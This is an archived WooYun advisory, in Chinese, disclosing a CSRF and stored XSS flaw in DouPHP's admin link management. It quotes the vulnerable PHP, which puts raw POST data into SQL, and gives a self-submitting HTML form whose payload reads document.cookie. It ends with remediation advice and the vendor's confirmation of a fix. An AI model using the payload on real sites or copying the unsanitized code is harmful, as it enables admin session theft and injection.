当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-077759

漏洞标题:DouPHP CSRF配合存储型XSS可盲打后台

相关厂商:douco.com

漏洞作者: xiaoL

提交时间:2014-10-02 09:48

修复时间:2014-12-31 09:50

公开时间:2014-12-31 09:50

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:10

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-02: 细节已通知厂商并且等待厂商处理中
2014-10-02: 厂商已经确认,细节仅向厂商公开
2014-10-05: 细节向第三方安全合作伙伴开放
2014-11-26: 细节向核心白帽子及相关领域专家公开
2014-12-06: 细节向普通白帽子公开
2014-12-16: 细节向实习白帽子公开
2014-12-31: 细节向公众公开

简要描述:

DouPHP 挺好的,不过还是有一些问题。

详细说明:

/**
* +----------------------------------------------------------
* 友情链接添加处理
* +----------------------------------------------------------
*/
elseif ($rec == 'insert') {
if (empty($_POST['link_name']))
$dou->dou_msg($_LANG['link_name'] . $_LANG['is_empty']);
$link_url = $dou->auto_http(trim($_POST['link_url'])); //auto_http仅验证了是否存在http://字符,没有要求以该字符开头

$sql = "INSERT INTO " . $dou->table('link') . " (id, link_name, link_url, sort)" .
" VALUES (NULL, '$_POST[link_name]', '$link_url', '$_POST[sort]')"; //直接把输入的链接跟名称添加到了数据库造成XSS
$dou->query($sql);

$dou->create_admin_log($_LANG['link_add'] . ": " . $_POST['link_name']);

$dou->dou_msg($_LANG['link_add_succes'], 'link.php');
}


//update功能同样存在问题,存在csrf,可直接修改为XSS代码
elseif ($rec == 'update') {
if (empty($_POST['link_name']))
$dou->dou_msg($_LANG['link_name'] . $_LANG['is_empty']);
$link_url = $dou->auto_http(trim($_POST['link_url']));

$sql = "update " . $dou->table('link') . " SET link_name='$_POST[link_name]', link_url='$link_url', sort='$_POST[sort]' WHERE id='$_POST[id]'";
$dou->query($sql);

$dou->create_admin_log($_LANG['link_edit'] . ": " . $_POST['link_name']);

$dou->dou_msg($_LANG['link_edit_succes'], 'link.php');
}


可以看到没有token的验证,也可以生成XSS代码,cookie并没有http-only属性,可盲打后台。

漏洞证明:

<html>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<body>
<form name="csrf" action="http://127.0.0.1/admin/link.php?rec=insert" method="post">
<input type="hidden" name="link_name" value="<img src">
<input type="hidden" name="link_url" value="javascript:alert(document.cookie)/*http://">
<input type="hidden" name="sort" value="50">
</form></body>
<script>
document.csrf.submit();
</script>
</body>
</html>


1111.png


这个点前台也是可以显示的。

2222.png

修复方案:

注入的洞帮忙确认一下吧- -
1、添加token
2、输入html转义过滤一下
3、URL链接验证代码处理一下

版权声明:转载请注明来源 xiaoL@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2014-10-02 15:02

厂商回复:

感谢提醒,已经修正

最新状态:

暂无